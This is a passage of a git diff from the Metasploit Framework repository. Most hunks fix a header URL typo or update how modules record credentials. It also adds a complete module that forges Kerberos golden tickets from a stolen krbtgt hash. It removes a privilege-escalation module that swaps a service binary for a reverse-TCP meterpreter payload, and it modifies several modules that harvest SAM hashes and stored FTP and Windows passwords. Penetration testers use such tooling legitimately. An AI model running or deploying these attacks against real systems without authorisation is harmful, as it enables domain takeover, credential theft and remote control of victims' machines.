poll_timeout + POLL_TIMEOUT + end + + def fail_with(msg) + raise msg + end end diff --git a/modules/post/solaris/gather/checkvm.rb b/modules/post/solaris/gather/checkvm.rb index 8dd9b11521..6a8a049fbe 100644 --- a/modules/post/solaris/gather/checkvm.rb +++ b/modules/post/solaris/gather/checkvm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/solaris/gather/enum_packages.rb b/modules/post/solaris/gather/enum_packages.rb index 61e5922372..9f3895a9a2 100644 --- a/modules/post/solaris/gather/enum_packages.rb +++ b/modules/post/solaris/gather/enum_packages.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/solaris/gather/enum_services.rb b/modules/post/solaris/gather/enum_services.rb index f58df1ad23..cdbd17dd57 100644 --- a/modules/post/solaris/gather/enum_services.rb +++ b/modules/post/solaris/gather/enum_services.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/solaris/gather/hashdump.rb b/modules/post/solaris/gather/hashdump.rb index bf30085902..85e30d43b8 100644 --- a/modules/post/solaris/gather/hashdump.rb +++ b/modules/post/solaris/gather/hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/capture/keylog_recorder.rb b/modules/post/windows/capture/keylog_recorder.rb index 4170c90aa4..857ae41b71 100644 --- a/modules/post/windows/capture/keylog_recorder.rb +++ b/modules/post/windows/capture/keylog_recorder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/capture/lockout_keylogger.rb b/modules/post/windows/capture/lockout_keylogger.rb index 6da0de962f..ba6680db44 100644 --- a/modules/post/windows/capture/lockout_keylogger.rb +++ b/modules/post/windows/capture/lockout_keylogger.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/escalate/droplnk.rb b/modules/post/windows/escalate/droplnk.rb index 3525bcaea6..66c0028d56 100644 --- a/modules/post/windows/escalate/droplnk.rb +++ b/modules/post/windows/escalate/droplnk.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/escalate/getsystem.rb b/modules/post/windows/escalate/getsystem.rb index eee1567968..a155bb9166 100644 --- a/modules/post/windows/escalate/getsystem.rb +++ b/modules/post/windows/escalate/getsystem.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/escalate/golden_ticket.rb b/modules/post/windows/escalate/golden_ticket.rb new file mode 100644 index 0000000000..76ae0ca27d --- /dev/null +++ b/modules/post/windows/escalate/golden_ticket.rb @@ -0,0 +1,217 @@ +require 'msf/core' +require 'msf/core/post/windows/netapi' +require 'msf/core/post/windows/kiwi' +require 'msf/core/post/windows/error' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::NetAPI + include Msf::Post::Windows::Accounts + include Msf::Post::Windows::Kiwi + include Msf::Post::Windows::Error + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Windows Escalate Golden Ticket', + 'Description' => %q{ + This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no + options are applied it will attempt to identify the current domain, the domain administrator + account, the target domain SID, and retrieve the krbtgt NTLM hash from the database. By default + the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Ben Campbell' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => + [ + ['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'], + ['URL', 'http://blog.cobalstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/'] + ] + )) + + register_options( + [ + OptBool.new('USE', [true, 'Use the ticket in the current session', false]), + OptString.new('USER', [false, 'Target User']), + OptString.new('DOMAIN', [false, 'Target Domain']), + OptString.new('KRBTGT_HASH', [false, 'KRBTGT NTLM Hash']), + OptString.new('Domain SID', [false, 'Domain SID']), + OptInt.new('ID', [false, 'Target User ID']), + OptString.new('GROUPS', [false, 'ID of Groups (Comma Seperated)']) + ], self.class) + end + + def run + return unless load_kiwi + + user = datastore['USER'] + domain = datastore['DOMAIN'] + krbtgt_hash = datastore['KRBTGT_HASH'] + domain_sid = datastore['SID'] + id = datastore['ID'] || 0 + + groups = [] + groups = datastore['GROUPS'].split(',').map(&:to_i) if datastore['GROUPS'] + + unless domain + print_status('Searching for the domain...') + domain = get_domain + if domain + print_good("Targeting #{domain}") + else + fail_with(Failure::Unknown, 'Unable to retrieve the domain...') + end + end + + unless krbtgt_hash + if framework.db.active + print_status('Searching for krbtgt hash in database...') + krbtgt_hash = lookup_krbtgt_hash(domain) + fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash + else + fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash') + end + end + + unless domain_sid + print_status("Obtaining #{domain} SID...") + domain_sid = lookup_domain_sid(domain) + + if domain_sid + print_good("Found #{domain} SID: #{domain_sid}") + else + fail_with(Failure::Unknown, "Unable to find SID for #{domain}") + end + end + + unless user + if id && id != 0 + print_status("Looking up User ID: #{id}") + user = resolve_sid("#{domain_sid}-#{id}")[:name] + else + print_status('Looking up Domain Administrator account...') + user = resolve_sid("#{domain_sid}-500")[:name] + end + + if user + print_good("Found User: #{user}") + else + fail_with(Failure::Unknown, 'Unable to find User') + end + end + + print_status("Creating Golden Ticket for #{domain}\\#{user}...") + ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups) + + if ticket + print_good('Golden Ticket Obtained!') + ticket_location = store_loot("golden.ticket", + "binary/kirbi", + session, + ticket, + "#{domain}\\#{user}-golden_ticket.kirbi", + "#{domain}\\#{user} Golden Ticket") + + print_status("Ticket saved to #{ticket_location}") + + if datastore['USE'] + print_status("Attempting to use the ticket...") + client.kiwi.kerberos_ticket_use(ticket) + print_good("Kerberos ticket applied successfully") + end + else + fail_with(Failure::Unknown, 'Unable to create ticket') + end + end + + def lookup_domain_sid(domain) + string_sid = nil + + cb_sid = sid_buffer = 100 + cch_referenced_domain_name = referenced_domain_name_buffer = 100 + + res = client.railgun.advapi32.LookupAccountNameA( + nil, + domain, + sid_buffer, + cb_sid, + referenced_domain_name_buffer, + cch_referenced_domain_name, + 1) + + if !res['return'] && res['GetLastError'] == INSUFFICIENT_BUFFER + sid_buffer = cb_sid = res['cbSid'] + referenced_domain_name_buffer = cch_referenced_domain_name = res['cchReferencedDomainName'] + + res = client.railgun.advapi32.LookupAccountNameA( + nil, + domain, + sid_buffer, + cb_sid, + referenced_domain_name_buffer, + cch_referenced_domain_name, + 1) + elsif !res['return'] + return nil + end + + if res['return'] + sub_authority_count = res['Sid'].unpack('CC')[1] + sid = res['Sid'].unpack("CCCCCCCCV#{sub_authority_count}") + + string_sid = "S-#{sid[0]}-#{sid[7]}-#{sid[8]}-#{sid[9]}-#{sid[10]}-#{sid[11]}" + else + print_error("Error looking up SID: #{res['ErrorMessage']}") + end + + string_sid + end + + def lookup_krbtgt_hash(domain) + krbtgt_hash = nil + + krbtgt_creds = Metasploit::Credential::Core.joins(:public, :private).where( + metasploit_credential_publics: { username: 'krbtgt' }, + metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, + workspace_id: myworkspace.id) + + if krbtgt_creds + + if krbtgt_creds.count == 0 + print_error('No KRBTGT Hashes found in database') + elsif krbtgt_creds.count > 1 + + # Can we reduce the list by domain... + krbtgt_creds_realm = krbtgt_creds.select { |c| c.realm.to_s.upcase == domain.upcase } + + # We have found a krbtgt hashes in our target domain + if krbtgt_creds_realm.length == 1 + cred = krbtgt_creds_realm.first + krbtgt_hash = cred.private.data.split(':')[1] + print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}") + return krbtgt_hash + # We have found multiple krbtgt hashes in our target domain?! + elsif krbtgt_creds_realm.length > 0 + krbtgt_creds = krbtgt_creds_realm + end + + # Multiple hashes found, the user will have to manually set one... + print_error('Multiple KRBTGT Hashes found in database, please use one of the below:') + krbtgt_creds.each do |kc| + hash = kc.private.data.split(':')[1] + print_line("#{kc.realm}:#{kc.public.username}:#{hash}") + end + else + # Highlander, there can only be one! + cred = krbtgt_creds.first + krbtgt_hash = cred.private.data.split(':')[1] + print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}") + end + end + + krbtgt_hash + end +end diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb index a3f7a1c3cb..1127de5ac3 100644 --- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb +++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -176,7 +176,7 @@ EOS ring0_code.gsub!('TPTP', [pid].pack('V')) # Create the malicious Keyboard Layout file... - tmpdir = session.fs.file.expand_path("%TEMP%") + tmpdir = session.sys.config.getenv('TEMP') fname = "p0wns.boom" dllpath = "#{tmpdir}\\#{fname}" fd = session.fs.file.new(dllpath, 'wb') diff --git a/modules/post/windows/escalate/net_runtime_modify.rb b/modules/post/windows/escalate/net_runtime_modify.rb deleted file mode 100644 index ee8fdd957c..0000000000 --- a/modules/post/windows/escalate/net_runtime_modify.rb +++ /dev/null @@ -1,177 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'rex' - -class Metasploit3 < Msf::Post - - include Msf::Post::Windows::Services - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Escalate Microsoft .NET Runtime Optimization Service Privilege Escalation', - 'Description' => %q{ - This module attempts to exploit the security permissions set on the .NET Runtime - Optimization service. Vulnerable versions of the .NET Framework include 4.0 and 2.0. - The permissions on this service allow domain users and local power users to modify - the mscorsvw.exe binary. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'bannedit' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'References' => - [ - [ 'OSVDB', '71013' ], - [ 'EDB', '16940' ] - ] - )) - - register_options([ - OptAddress.new("LHOST", [ false, "Listener IP address for the new session" ]), - OptPort.new("LPORT", [ false, "Listener port for the new session", 4444 ]), - ]) - - end - - def run - paths = [] - services = [] - vuln = "" - @temp = session.fs.file.expand_path("%TEMP%") - - if init_railgun() == :error - return - end - - print_status("Checking for vulnerable .NET Framework Optimization service") - print_status("This may take a few minutes.") - # enumerate the installed .NET versions - service_list.each do |service| - if service =~ /clr_optimization_.*/ - info = service_info(service) - paths << info['Command'] - services << service - begin - service_stop(service) # temporarily stop the service - print_status("Found #{info['Name']} installed") - rescue - print_error("We do not appear to have access to stop #{info['Name']}") - end - else - next - end - end - - paths.each do |image| - if check_perms(image) - vuln << image - break - end - end - - if vuln.nil? or vuln.empty? - print_error("Could not find any vulnerable .NET Framework Optimization services") - return - else - payload = setup_exploit - end - - services.each do |service| - session.railgun.kernel32.CopyFileA(payload, vuln, false) - mng = session.railgun.advapi32.OpenSCManagerA(nil,nil,1) - if mng['return'].nil? - print_error("Cannot open service manager, not enough privileges") - return - end - # restart the service - status = service_start(service) - - if status == 0 - print_status("Restarted #{service}") - else - print_error("Failed to restart #{service}") - end - return - end - end - - def check_perms(image) - if image !~ /mscor/ - return - end - - if !session.railgun.kernel32.MoveFileA(image, image + '.bak')['return'] - print_error("Found Secure Permissions on #{image}") - return false - else - print_status("Found Weak Permissions on #{image}") - print_status("Exploiting...") - return true - end - end - - def init_railgun - begin - rg = session.railgun - if (!rg.get_dll('advapi32')) - rg.add_dll('advapi32') - end - rescue Exception => e - print_error("Could not initalize railgun") - print_error("Railgun Error: #{e}") - return :error - end - end - - def setup_exploit - lhost = datastore["LHOST"] || Rex::Socket.source_address - lport = datastore["LPORT"] || 4444 - p_mod = datastore['PAYLOAD'] || "windows/meterpreter/reverse_tcp" - file = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - - payload = session.framework.payloads.create(p_mod) - payload.datastore['LHOST'] = lhost - payload.datastore['LPORT'] = lport - - exe = Msf::Util::EXE.to_win32pe_service(session.framework, payload.generate) - begin - print_status("Uploading payload #{file} executable to temp directory") - # Upload the payload to the filesystem - file = @temp + "\\" + file - fd = session.fs.file.new(file, "wb") - print_status("Writing #{file}...") - fd.write(exe) - fd.close - rescue Exception => e - print_error("Error uploading file #{file}: #{e.class} #{e}") - return - end - - print_status("Setting up multi/handler...") - print_status("Using Payload #{p_mod}...") - handler = session.framework.exploits.create("multi/handler") - handler.register_parent(self) - handler.datastore['PAYLOAD'] = p_mod - handler.datastore['LHOST'] = lhost - handler.datastore['LPORT'] = lport - handler.datastore['InitialAutoRunScript'] = "migrate -f" - handler.datastore['ExitOnSession'] = true - handler.datastore['ListenerTimeout'] = 300 - handler.datastore['ListenerComm'] = 'local' - - # handler.exploit_module = self - handler.exploit_simple( - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - - print_status("Upload complete") - return file - end -end diff --git a/modules/post/windows/escalate/screen_unlock.rb b/modules/post/windows/escalate/screen_unlock.rb index af2adb1fe3..9d805f7f92 100644 --- a/modules/post/windows/escalate/screen_unlock.rb +++ b/modules/post/windows/escalate/screen_unlock.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/arp_scanner.rb b/modules/post/windows/gather/arp_scanner.rb index 9df2666116..ba5abff56d 100644 --- a/modules/post/windows/gather/arp_scanner.rb +++ b/modules/post/windows/gather/arp_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb index a740c6c0da..adfafd3529 100644 --- a/modules/post/windows/gather/bitcoin_jacker.rb +++ b/modules/post/windows/gather/bitcoin_jacker.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index ba731e2032..79f6323f20 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/checkvm.rb b/modules/post/windows/gather/checkvm.rb index e32ac9b77f..833c58bdcb 100644 --- a/modules/post/windows/gather/checkvm.rb +++ b/modules/post/windows/gather/checkvm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/bulletproof_ftp.rb b/modules/post/windows/gather/credentials/bulletproof_ftp.rb index 11f2db0653..20c23ca6c3 100644 --- a/modules/post/windows/gather/credentials/bulletproof_ftp.rb +++ b/modules/post/windows/gather/credentials/bulletproof_ftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -171,10 +171,10 @@ class Metasploit3 < Msf::Post end def check_bulletproof(user_dir) - session.fs.dir.foreach(user_dir) do |dir| - if dir =~ /BulletProof Software/ - vprint_status("BulletProof Data Directory found at #{user_dir}\\#{dir}") - return "#{user_dir}\\#{dir}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks" + session.fs.dir.foreach(user_dir) do |directory| + if directory =~ /BulletProof Software/ + vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}") + return "#{user_dir}\\#{directory}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks" end end return nil @@ -182,12 +182,6 @@ class Metasploit3 < Msf::Post def report_findings(entries) - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - entries.each{ |entry| @credentials << [ entry[:site_name], @@ -199,17 +193,32 @@ class Metasploit3 < Msf::Post entry[:local_dir] ] - report_auth_info( - :host => entry[:site_address], - :port => entry[:port], - :proto => 'tcp', - :sname => 'ftp', - :user => entry[:login], - :pass => entry[:password], - :ptype => 'password', - :source_id => source_id, - :source_type => "exploit" - ) + service_data = { + address: Rex::Socket.getaddress(entry[:site_address]), + port: entry[:port], + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: entry[:login], + private_data: entry[:password], + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) } end @@ -233,12 +242,14 @@ class Metasploit3 < Msf::Post print_status("Searching BulletProof FTP Client installation directory...") # BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files - program_files_x86 = expand_path('%ProgramFiles(X86)%') - if not program_files_x86.empty? and program_files_x86 !~ /%ProgramFiles\(X86\)%/ - program_files = program_files_x86 #x64 + progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles') + progfilesx86 = progfiles_env['ProgramFiles(X86)'] + if !progfilesx86.blank? && progfilesx86 !~ /%ProgramFiles\(X86\)%/ + program_files = progfilesx86 # x64 else - program_files = expand_path('%ProgramFiles%') #x86 + program_files = progfiles_env['ProgramFiles'] # x86 end + session.fs.dir.foreach(program_files) do |dir| if dir =~ /BulletProof FTP Client/ vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}") diff --git a/modules/post/windows/gather/credentials/coreftp.rb b/modules/post/windows/gather/credentials/coreftp.rb index 88d9d44539..b2be541cdb 100644 --- a/modules/post/windows/gather/credentials/coreftp.rb +++ b/modules/post/windows/gather/credentials/coreftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -49,24 +49,38 @@ class Metasploit3 < Msf::Post pass = decrypt(epass) pass = pass.gsub(/\x00/, '') if pass != nil and pass != '' print_good("Host: #{host} Port: #{port} User: #{user} Password: #{pass}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - auth = - { - :host => host, - :port => port, - :sname => 'ftp', - :user => user, - :pass => pass, - :type => 'password', - :source_id => source_id, - :source_type => "exploit", - :active => true - } - report_auth_info(auth) + + service_data = { + address: host, + port: port, + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: pass, + username: user + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) end rescue print_error("Cannot Access User SID: #{hive['HKU']}") diff --git a/modules/post/windows/gather/credentials/credential_collector.rb b/modules/post/windows/gather/credentials/credential_collector.rb index a2d433c632..e58c2a2020 100644 --- a/modules/post/windows/gather/credentials/credential_collector.rb +++ b/modules/post/windows/gather/credentials/credential_collector.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,31 +38,54 @@ class Metasploit3 < Msf::Post session.core.use("incognito") if not session.incognito # It wasn't me mom! Stinko did it! - hashes = client.priv.sam_hashes + begin + hashes = client.priv.sam_hashes + rescue + print_error('Error accessing hashes, did you migrate to a process that matched the target\'s architecture?') + return + end # Target infos for the db record - addr = client.sock.peerhost + addr = session.session_host # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive) # Record hashes to the running db instance print_good "Collecting hashes..." hashes.each do |hash| - data = {} - data[:host] = addr - data[:port] = 445 - data[:sname] = 'smb' - data[:user] = hash.user_name - data[:pass] = hash.lanman + ":" + hash.ntlm - data[:type] = "smb_hash" - if not session.db_record.nil? - data[:source_id] = session.db_record.id - end - data[:source_type] = "exploit", - data[:active] = true + # Build service information + service_data = { + address: addr, + port: 445, + service_name: 'smb', + protocol: 'tcp', + } - print_line " Extracted: #{data[:user]}:#{data[:pass]}" - report_auth_info(data) if db_ok + # Build credential information + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash, + private_data: hash.lanman + ":" + hash.ntlm, + username: hash.user_name, + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + + print_line " Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}" end # Record user tokens diff --git a/modules/post/windows/gather/credentials/dyndns.rb b/modules/post/windows/gather/credentials/dyndns.rb index 77279aa174..f1ce358a57 100644 --- a/modules/post/windows/gather/credentials/dyndns.rb +++ b/modules/post/windows/gather/credentials/dyndns.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb index e0fbaa22bd..0b0ff2ba4f 100644 --- a/modules/post/windows/gather/credentials/enum_cred_store.rb +++ b/modules/post/windows/gather/credentials/enum_cred_store.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Post if is_86 addr = [data].pack("V") else - addr = [data].pack("Q") + addr = [data].pack("Q<") end return addr end @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Post len,add = ret["pDataOut"].unpack("V2") else ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,0,16) - len,add = ret["pDataOut"].unpack("Q2") + len,add = ret["pDataOut"].unpack("Q<2") end #get data, and return it @@ -122,9 +122,11 @@ class Metasploit3 < Msf::Post if cred["targetname"].include? "TERMSRV" host = cred["targetname"].gsub("TERMSRV/","") port = 3389 + service = "rdp" elsif cred["type"] == 2 host = cred["targetname"] port = 445 + service = "smb" else return false end @@ -132,23 +134,32 @@ class Metasploit3 < Msf::Post ip_add= gethost(host) unless ip_add.nil? - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - auth = { - :host => ip_add, - :port => port, - :user => cred["username"], - :pass => cred["password"], - :type => 'password', - :source_id => source_id, - :source_type => "exploit", - :active => true + service_data = { + address: ip_add, + port: port, + protocol: "tcp", + service_name: service, + workspace_id: myworkspace_id } - report_auth_info(auth) + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: cred["username"], + private_data: cred["password"], + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) print_status("Credentials for #{ip_add} added to db") else return @@ -177,14 +188,14 @@ class Metasploit3 < Msf::Post #read array of addresses as pointers to each structure raw = read_str(p_to_arr[0], arr_len, 2) pcred_array = raw.unpack("V*") if is_86 - pcred_array = raw.unpack("Q*") unless is_86 + pcred_array = raw.unpack("Q<*") unless is_86 #loop through the addresses and read each credential structure pcred_array.each do |pcred| cred = {} raw = read_str(pcred, 52,2) - cred_struct = raw.unpack("VVVVQVVVVVVV") if is_86 - cred_struct = raw.unpack("VVQQQQQVVQQQ") unless is_86 + cred_struct = raw.unpack("VVVVQ db_ip, - :port => port, - :sname => 'mssql', - :user => full_user, - :pass => plaintext_passwd, - :source_id => source_id, - :source_type => "exploit", - :active => true - ) + service_data = { + address: Rex::Socket.getaddress(db_ip), + port: port, + protocol: "tcp", + service_name: "mssql", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: full_user, + private_data: plaintext_passwd, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) print_good("Added credentials to report database") else print_error("Could not determine IP of DB - credentials not added to report database") diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index ea254450da..7a5b737961 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,13 +33,7 @@ class Metasploit3 < Msf::Post return end - drive = session.fs.file.expand_path("%SystemDrive%") - case session.platform - when /win64/i - @progs = drive + '\\Program Files (x86)\\' - when /win32/i - @progs = drive + '\\Program Files\\' - end + @progs = "#{session.sys.config.getenv('ProgramFiles')}\\" filezilla = check_filezilla if filezilla != nil @@ -147,20 +141,39 @@ class Metasploit3 < Msf::Post source_id = nil end - # report the goods! - report_auth_info( - :host => session.sock.peerhost, - :port => config['ftp_port'], - :sname => 'ftp', - :proto => 'tcp', - :user => cred['user'], - :pass => cred['password'], - :ptype => "MD5 hash", - :source_id => source_id, - :source_type => "exploit", - :target_host => config['ftp_bindip'], - :target_port => config['ftp_port'] - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: config['ftp_port'], + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + jtr_format: 'raw-md5', + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :nonreplayable_hash, + private_data: cred['password'], + username: cred['user'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end perms.each do |perm| @@ -190,19 +203,37 @@ class Metasploit3 < Msf::Post #the module will crash with an error. vprint_status("(No admin information found.)") else - report_auth_info( - :host => session.sock.peerhost, - :port => config['admin_port'], - :sname => 'filezilla-admin', - :proto => 'tcp', - :user => 'admin', - :pass => config['admin_pass'], - :type => "password", - :source_id => source_id, - :source_type => "exploit", - :target_host => config['admin_bindip'], - :target_port => config['admin_port'] - ) + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: config['admin_port'], + service_name: 'filezilla-admin', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: config['admin_pass'], + username: 'admin' + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv, @@ -360,6 +391,6 @@ class Metasploit3 < Msf::Post end def whoami - return session.fs.file.expand_path("%USERNAME%") + return session.sys.config.getenv('USERNAME') end end diff --git a/modules/post/windows/gather/credentials/flashfxp.rb b/modules/post/windows/gather/credentials/flashfxp.rb index 8ba708d458..efb320bb2d 100644 --- a/modules/post/windows/gather/credentials/flashfxp.rb +++ b/modules/post/windows/gather/credentials/flashfxp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -84,19 +84,32 @@ class Metasploit3 < Msf::Post passwd = decrypt(epass) print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***") - if session.db_record - source_id = session.db_record.id - else - source_id = 